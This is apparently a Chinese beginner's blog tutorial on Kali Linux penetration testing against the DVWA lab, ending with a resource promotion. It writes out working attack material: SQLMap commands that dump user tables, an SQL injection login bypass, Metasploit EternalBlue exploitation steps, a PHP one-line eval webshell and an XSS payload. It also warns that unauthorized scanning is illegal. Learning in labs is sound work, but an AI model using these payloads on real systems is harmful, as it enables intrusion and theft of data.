当你花了 2 个小时在虚拟机里装好了 Kali Linux—看到屏幕上弹出黑色的终端界面,光标闪烁着 “root@kali:~#” 时,你会不会慌乱?接下来该输什么命令?这些工具怎么用?网上说的 “用 Kali 挖漏洞”,到底从哪下手?
很多人入门黑客第一步就是学Kali,但却连 “终端和 CMD 的区别” 都不知道,只会对着满屏的工具图标乱点:点 Nmap 弹出一堆英文参数,点 Burp Suite 不知道怎么抓包,点 SQLMap 连目标 URL 都不会填。几个小时后关掉虚拟机,开始怀疑:“我是不是没天赋学这个?”
其实,90% 的新手学不会 Kali,不是因为难,是把‘从入门到精通’的路,当成了‘打开软件就会’的事。
今天这篇文章,我会把自己踩过的坑、总结的实战技巧,全部分享给你 —— 新手学 Kali,真的不用怕。
新手学 Kali,最容易卡在 “安装、联网、记命令” 这三步。我当初因为不会联网,浪费了 2 天时间;因为记不住命令,差点放弃。其实只要找对方法,这些问题 1 小时就能解决。
很多新手一开始就想装 “双系统 Kali”,觉得 “这样更专业”,结果分区失误导致电脑数据丢失。其实对新手来说,VMware 虚拟机装 Kali才是最优解:不用改硬盘分区,出问题直接删虚拟机,不影响电脑本身。
我的经验:第一次安装不用改任何配置,默认的 2 核 CPU、4G 内存、20G 硬盘足够新手使用。等后期用熟练了,再根据需要增加内存(比如加到 8G)。

我当初安装后,发现 Kali 能连 WiFi,但打开浏览器却加载不出网页,查了半天才知道是 “DNS 配置问题”。新手联网遇到问题,按这 3 步排查,90% 能解决:
检查 IP 地址:打开终端,输入ip a(查看网络接口),看是否有 “inet” 开头的 IP(如 192.168.1.100)。如果没有,说明没获取到 IP,重启网络:sudo systemctl restart NetworkManager。
测试网关连通性:输入ping 192.168.1.1(替换成你家路由器的网关,一般是 192.168.1.1 或 192.168.0.1)。如果 ping 不通,检查虚拟机网络模式(新手选 “NAT 模式”,能直接用主机的网络)。
配置 DNS:
如果能 ping 通网关但上不了网,是 DNS 的问题。编辑 DNS 配置文件:
sudo nano /etc/resolv.conf
添加两行:
nameserver 8.8.8.8 # 谷歌DNS
nameserver 114.114.114.114 # 国内DNS
按
Ctrl+O
保存,
Ctrl+X
退出,再 ping 百度测试:
ping www.baidu.com
能收到回复就是联网成功。
新手最怕记命令,其实 Kali 常用命令就 10 个,先学会这些,足够应对 80% 的基础操作:
ls | ls看工具是否在目录里 | |
cd | cd /usr/share/nmap进入 Nmap 工具目录 | |
sudo | sudo nano 文件名 | |
apt install 工具名 | sudo apt install sqlmap安装 | |
ping 目标IP | ping 192.168.1.10看目标是否在线 | |
nmap 目标IP | nmap 192.168.1.10看目标开放了哪些端口 | |
ifconfigip a | ip a看自己的 IP 是否和靶场在同一网段 | |
clear | clear清屏 | |
cp 源文件 目标路径 | cp /root/poc.py /root/Desktop/ | |
rm 文件名 | rm /var/log/test.log |
记命令技巧:把这 10 个命令写在便利贴上,贴在电脑旁边,用的时候看一眼,3 天就能记住。比如每次打开终端,先输clear清屏,再输ip a查 IP,重复几次就熟了。
Kali 里有 300 + 工具,但新手不用全学,先聚焦 “信息收集、漏洞扫描、漏洞利用、Webshell 管理、内网渗透” 这 5 类核心工具,每个工具学 “最常用的 2-3 个功能”,就能满足脚本小子的实战需求。
信息收集是黑客的第一步 —— 不知道目标的 IP、端口、服务,后续就没法挖漏洞。新手重点学Nmap(端口扫描)和OneForAll(子域名收集)。
Nmap 的功能很多,但新手只要会 3 个命令,就能搞定基础扫描:
nmap 192.168.1.10(扫描目标 IP 的常用端口,默认扫描 1000 个端口)nmap -p 1-65535 192.168.1.10(扫描所有 65535 个端口,适合找隐藏端口)nmap -sV 192.168.1.10(显示端口对应的服务版本,比如 “80/tcp open http Apache httpd 2.4.49”)新手实战任务:用 Nmap 扫描自己的 DVWA 靶场 IP(比如 192.168.1.12),找出开放的 80 端口(Web 服务)和 3306 端口(MySQL 数据库),记录服务版本。

如果目标是一个网站(比如test.com),光扫主域名不够,还要找子域名(比如admin.test.com、blog.test.com),这些子域名往往防护更弱。OneForAll 是 Kali 自带的子域名收集工具,新手只要输 1 条命令:
python3 /usr/share/oneforall/oneforall.py --target test.com run工具会自动从 20 + 平台(如 DNS 查询、搜索引擎)收集子域名,结果保存在/root/OneForAll/results/目录下,打开 CSV 文件就能看到所有子域名和对应的 IP。

新手手动找漏洞效率低,用扫描工具能快速发现目标的基础漏洞。重点学Burp Suite(抓包改包)和Xray(自动化漏洞扫描)。
Burp Suite 是新手必须掌握的工具,核心用 “Proxy(代理)” 和 “Repeater(重放)” 功能,步骤如下:
admin改成admin' or 1=1#),点击 “Send”,看响应是否返回管理员信息(测试 SQL 注入漏洞)。新手实战任务:用 Burp 抓 DVWA 登录请求,修改username参数为admin' or 1=1#,成功登录管理员后台。
Xray 能自动扫描 Web 漏洞(如 SQL 注入、XSS、文件上传),新手用 “被动扫描” 模式(不主动发请求,只分析 Burp 拦截的流量),步骤:
./xray_linux_amd64 webscan --listen 127.0.0.1:8081 --html-output xray-result.html(在 Xray 目录下执行,Kali 默认路径/usr/share/xray/)找到漏洞后,需要用工具利用漏洞获取权限。新手重点学SQLMap(SQL 注入利用)和Metasploit(漏洞 exp 利用)。
新手不用懂复杂的注入原理,用 SQLMap 能自动利用 SQL 注入漏洞,导出数据库数据。核心命令:
sqlmap -u "http://192.168.1.12/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=abc123"(替换成自己的靶场 URL 和 Cookie,Cookie 从 Burp 里复制)sqlmap -u 目标URL --cookie 你的Cookie --dbs(列出所有数据库),再用--tables -D dvwa(列出 dvwa 数据库的表),最后--dump -D dvwa -T users(导出 users 表数据,能拿到管理员账号密码)新手实战任务:用 SQLMap 导出 DVWA 的 users 表,获取admin账号的密码(默认加密后的密码是5f4dcc3b5aa765d61d8327deb882cf99,解密后是password)。
Metasploit 里有 1000 + 漏洞的 exp(漏洞利用代码),新手用它来利用已知漏洞(比如永恒之蓝漏洞)。以利用 Windows 的永恒之蓝漏洞为例:
msfconsolesearch ms17-010(ms17-010 是永恒之蓝漏洞的编号)use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.20(目标 Windows 机器的 IP)run,成功后会拿到目标的 shell(显示 “Meterpreter session 1 opened”)如果通过文件上传漏洞拿到了 Webshell(比如一句话木马),需要用工具连接管理。新手重点学蚁剑(图形化管理,简单直观)。
<?php @eval($_POST['cmd']);?>写入图片文件,改后缀为.php)。http://192.168.1.12/dvwa/hackable/uploads/shell.php)cmd(和 Webshell 里的$_POST['cmd']对应)如果拿下了目标的边界服务器(比如 Web 服务器),还需要渗透内网。新手重点学Cobalt Strike(简称 CS,内网协作工具),但 CS 需要破解版或授权,新手先学基础的 “内网信息收集” 命令:
ipconfig(Windows)或ip a(Linux),看内网段(比如 10.0.0.0/24);ping 10.0.0.2测试内网其他机器是否在线;net view(Windows)查看内网共享资源,寻找下一步渗透目标。很多新手以为 “会用工具就是脚本小子”,结果要么乱用工具违法,要么只会点几下鼠标,遇到问题就卡壳。其实合格的脚本小子,要满足 3 个条件:会用工具 + 懂基础原理 + 合法实战。
我当初用 SQLMap 跑通注入后,以为自己 “会黑客技术了”,直到有人问 “为什么输入' or 1=1#能登录”,我答不上来。后来才明白,脚本小子不能只 “知其然”,还要 “知其所以然”。
select * from users where username='admin' or 1=1#',#注释掉后面的内容,语句恒真);<script>alert('XSS')</script>,其他用户打开页面会弹出警告);学习方法:学完一个工具后,花 10 分钟查 “这个工具利用的漏洞原理是什么”,比如用 SQLMap 后,查 “SQL 注入原理”;用蚁剑后,查 “一句话木马的工作原理”。
我在学 Nmap 时,一时好奇扫描了小区物业的官网,结果第二天收到网警电话,警告我 “未经授权的网络扫描属于违法行为”。新手一定要记住:所有实战必须在合法场景下进行,否则轻则罚款拘留,重则承担刑事责任。
新手总喜欢装各种 “炫酷工具”(比如自动挖洞脚本、破解版 CS),结果连 Nmap 的基础参数都记不住。其实对脚本小子来说,把基础工具用熟,比装 100 个工具更有用。
成为合格脚本小子后,不要满足于 “点几下工具”,要向 “能独立挖漏洞、解决实际问题” 的方向进阶。我总结了 3 个进阶步骤,帮你为以后成为渗透测试工程师打基础:
靶场的漏洞都是 “预设好的”,而真实环境的漏洞需要自己找。新手可以从 SRC 平台入手,提交简单的漏洞(如 XSS、信息泄露),步骤:
我第一次在 SRC 提交的是 “某网站登录页的反射型 XSS 漏洞”,虽然只是低危漏洞,但拿到了平台的 “漏洞确认” 邮件,这是我第一次感受到 “用技术创造价值” 的成就感。
脚本小子不用成为 “程序员”,但要会写简单的脚本,解决重复工作。比如用 Python 写一个 “批量检测 XSS 漏洞” 的脚本,步骤:
requests库(发 HTTP 请求)和re库(正则匹配);<script>alert('XSS')</script>,判断响应是否包含插入的脚本;推荐学习资源:CSDN 上的《Python 安全编程入门》系列文章,重点看 “HTTP 请求”“正则匹配” 章节,1 周就能上手写简单脚本。
进阶后会接触更多真实项目,必须懂 “安全合规”—— 知道哪些能做,哪些不能做。新手重点了解 2 个法规:
回望我学 Kali 的 3 个月,从 “对着终端发呆” 到 “用 SQLMap 导出数据库”,从 “不敢实战” 到 “提交 SRC 漏洞”,最大的感悟是:新手学 Kali,没有 “一步登天” 的捷径,只有 “循序渐进” 的踏实。
如果你现在打开 Kali 还是会懵,别慌 —— 先学会 “输对第一条命令”,再学会 “用 Nmap 扫第一个端口”,接着学会 “用 SQLMap 跑第一个注入”。每完成一个小目标,你就离 “合格脚本小子” 近一步。
最后提醒你:脚本小子不是 “黑客的终点”,而是 “安全学习的起点”。当你能用工具解决真实问题,能懂漏洞原理,能合法实战时,你就已经超越了 90% 的新手 —— 而这,正是成为渗透测试工程师的基础。
现在,打开你的 Kali 虚拟机,输入第一条命令吧 —— 未来的你,会感谢现在开始行动的自己。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

